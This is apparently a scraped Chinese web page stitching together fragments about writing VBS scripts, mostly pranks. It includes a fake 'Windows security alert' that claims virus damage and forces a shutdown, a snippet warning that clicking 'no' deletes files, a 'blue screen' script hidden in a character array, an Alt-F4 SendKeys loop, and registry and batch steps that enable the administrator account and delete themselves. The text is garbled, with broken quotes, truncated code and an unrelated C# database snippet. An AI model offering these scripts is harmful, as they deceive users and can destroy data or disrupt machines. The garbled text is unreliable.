1首先在電腦鼠標(biāo)右鍵 新建一個文本文檔2然后點(diǎn)開文本文檔進(jìn)行編輯，最重要的一個代碼就是msgbox，然后在后面添加想要說的話，但是要使用英文標(biāo)點(diǎn)符號，換行時候都需要在前面加上代碼，最后保存3保存好之后，對這個；5在對話框中輸入程序名demo將類型保存為all，選擇要保存的路徑，然后單擊save6在命令提示符下面輸入wscript d\demovbs，打開VBS腳本程序7WSCRIPT是Windows腳本主機(jī)，專門用于調(diào)試WSH腳本VBSjs和WSH文件格式；do if msgboxquot你愛我嗎？quot，4132，quotquot=vbyes then exit do msgbox quot再想想quot，4096，quotquotloop；代碼如下#39警告#39慎用，點(diǎn)擊否，出現(xiàn)刪除的情況，后果自負(fù)#39請先備份set fso=CreateObjectquotScriptingFileSystemObjectquotset ws=CreateObjectquotwscriptshellquotk=MsgBoxquot您是否現(xiàn)在安裝quot，vbyesno，quot溫馨提；dim num，var，fso，wsh，pathname #39定義變量 num = quotA，B，C，D，E，F(xiàn)，G，H，I，J，K，L，M，N，O，P，Q，R，S，T，U，quot+_quotV，W，X，Y，Z，0，1，2，3，4，5，6，7，8，9，F(xiàn)1，F(xiàn)2，F(xiàn)3，F(xiàn)4，F(xiàn)5，F(xiàn)6，quot+_quotF7，F(xiàn)8，F(xiàn)9，F(xiàn)10；請看代碼On Error Resume NextDim fso，ws，list，c，h，currentfol，op，file，str，ext，titleSet fso=WScriptCreateObjectquotScriptingFileSystemObjectquotSet ws=WScriptCreateObjectquotWScriptShellquotc=Chr34h=vbCrLfstr=quot。

quot，16+4096，quotWindows安全警報(bào)quotShell quotcmdc shutdown s t 5quot佛祖曰普度眾生，這樣就行 后面那一句代碼是用來關(guān)機(jī)的，VBS代碼你應(yīng)該會插入把 創(chuàng)建個文本文檔 輸入代碼 改后綴txt為vbs 雙擊運(yùn)行即可；Msgbox quot您的系統(tǒng)已遭病毒破壞，系統(tǒng)5秒后將自動關(guān)機(jī)關(guān)機(jī)，請?jiān)陉P(guān)機(jī)后24小時重新啟動quot，16+4096，quotWindows安全警報(bào)quotShell quotcmdc shutdown s t 5quot佛祖曰普度眾生，這樣就行 后面那一句代碼是用來關(guān)機(jī)的，VBS代；wssendkeysquot%F4quot#39每次循環(huán)等待時間3000=3秒，以毫秒為單位的 wscriptsleep 3000 loop 想要停止它可新建文本mtxt改名mbat右擊編輯輸入 taskkill f im wscriptexe pause 保存 當(dāng)需要停止vbs時執(zhí)行一下m；VBS控制電腦發(fā)出聲音的兩種方法#39需要PCI聲卡的支持#39SAPI The Microsoft Speech APICreateObject quotSAPISpVoicequotSpeak quotSir， are you a fan of VBS？quot strSoundFile = quotC\Windows\Media\notifywavquotSet obj；你就是想要的就是這樣一個vbs文件1寫注冊表，開啟系統(tǒng)管理員2輸入用戶名密碼，然后加上第二行至第九行生成bat，bat里面包含reg信息 3將那個批處理改屬性，加入刪除自己代碼等，然后運(yùn)行批處理生成reg文件導(dǎo)入。

WScriptEchoquot想結(jié)素我么？那你就再多點(diǎn)一次quotWScriptEchoquot想結(jié)素我么？那你就再多點(diǎn)一次quot分割線保存，保存類型為所有文件，名字隨便，礦展名“vbs”，保存后點(diǎn)開；vbs代碼如下，這里以打開畫圖為例，你自己將下面代碼中的c\windows\system32\mspaintexe換成你想要啟動的程序的路徑保存即可#39===代===碼===開===始=== set fso=CreateObjectquotScriptingFileSystemObjectquot；這個很強(qiáng)悍的vbs，藍(lán)屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34，34，44，118，98，89，101，115，78，111，44，34，34，4。

哈哈都報(bào)錯了，quot下標(biāo)越界quot 你沒有加參數(shù)就運(yùn)行，而你又在腳本里引用參數(shù)0當(dāng)然報(bào)錯了解決辦法1，加參數(shù)運(yùn)行 2，在最開頭加上一句 on error resume next；new SqlConnection conOpenstring sqlstr = quotsql語句quotSqlDataAdapter da = new SqlDataAdaptersqlstr， conDataSet ds= new DataSetdaFilldsdataGridView1DataSource = dsTables0conClose。